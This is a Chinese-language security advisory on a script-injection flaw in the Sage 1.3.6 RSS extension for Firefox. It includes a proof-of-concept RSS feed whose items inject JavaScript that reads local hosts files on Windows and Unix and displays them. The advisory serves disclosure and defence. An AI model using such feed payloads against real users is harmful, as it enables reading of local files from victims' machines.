Mozine Sage 1.3.6

描述：

BUGTRAQ  ID: 19928

sage是Firefox的一个灵巧的RSS和Atom feed聚合扩展。

sage在处理RSS feed中的内容标签时存在输入验证错误，远程攻击者可能利用此漏洞在用户机器上执行恶意代码。

如果用户受骗添加了恶意的RSS feed并浏览了其内容的话，就会导致在本地环境中注入并执行任意HTML和脚本代码。

<*来源：pdp （pdp.gnucitizen@googlemail.com）
  
  链接：http://secunia.com/advisories/21839/
        http://www.gnucitizen.org/blog/cross-context-scripting-with-sage/
*>

测试方法：

<?xml version="1.0" encoding="UTF-8" ?>
- <rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/">
- <channel>
  <title>Cross Context Scripting with Sage</title>
- <item>
  <title>WINDOWS: works with "Allow HTML Tags" off</title>
- <content:encoded>
- <![CDATA[ &lt;script&gt;try { request = new XMLHttpRequest(); request.open("GET", "file:///C:/WINDOWS/system32/drivers/etc/hosts"); request.send(null); alert(request.responseText); } catch(e) {}&lt;/script&gt;
  ]]>
  </content:encoded>
  </item>
- <item>
  <title>WINDOWS: works with "Allow HTML Tags" on</title>
- <content:encoded>
- <![CDATA[ <script>try { request = new XMLHttpRequest(); request.open("GET", "file:///C:/WINDOWS/system32/drivers/etc/hosts"); request.send(null); alert(request.responseText); } catch(e) {}</script>
  ]]>
  </content:encoded>
  </item>
- <item>
  <title>WINNT: works with "Allow HTML Tags" off</title>
- <content:encoded>
- <![CDATA[ &lt;script&gt;try { request = new XMLHttpRequest(); request.open("GET", "file:///C:/WINNT/system32/drivers/etc/hosts"); request.send(null); alert(request.responseText); } catch(e) {}&lt;/script&gt;
  ]]>
  </content:encoded>
  </item>
- <item>
  <title>WINNT: works with "Allow HTML Tags" on</title>
- <content:encoded>
- <![CDATA[ <script>try { request = new XMLHttpRequest(); request.open("GET", "file:///C:/WINNT/system32/drivers/etc/hosts"); request.send(null); alert(request.responseText); } catch(e) {}</script>
  ]]>
  </content:encoded>
  </item>
- <item>
  <title>UNIX: works with "Allow HTML Tags" off</title>
- <content:encoded>
- <![CDATA[ &lt;script&gt;try { request = new XMLHttpRequest(); request.open("GET", "file:///etc/hosts"); request.send(null); alert(request.responseText); } catch(e) {}&lt;/script&gt;
  ]]>
  </content:encoded>
  </item>
- <item>
  <title>UNIX: works with "Allow HTML Tags" on</title>
- <content:encoded>
- <![CDATA[ <script>try { request = new XMLHttpRequest(); request.open("GET", "file:///etc/hosts"); request.send(null); alert(request.responseText); } catch(e) {}</script>
  ]]>
  </content:encoded>
  </item>
  </channel>
  </rss>

建议：

厂商补丁：

Mozine
------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://addons.mozine.org/extensions/moreinfo.php?id=12%22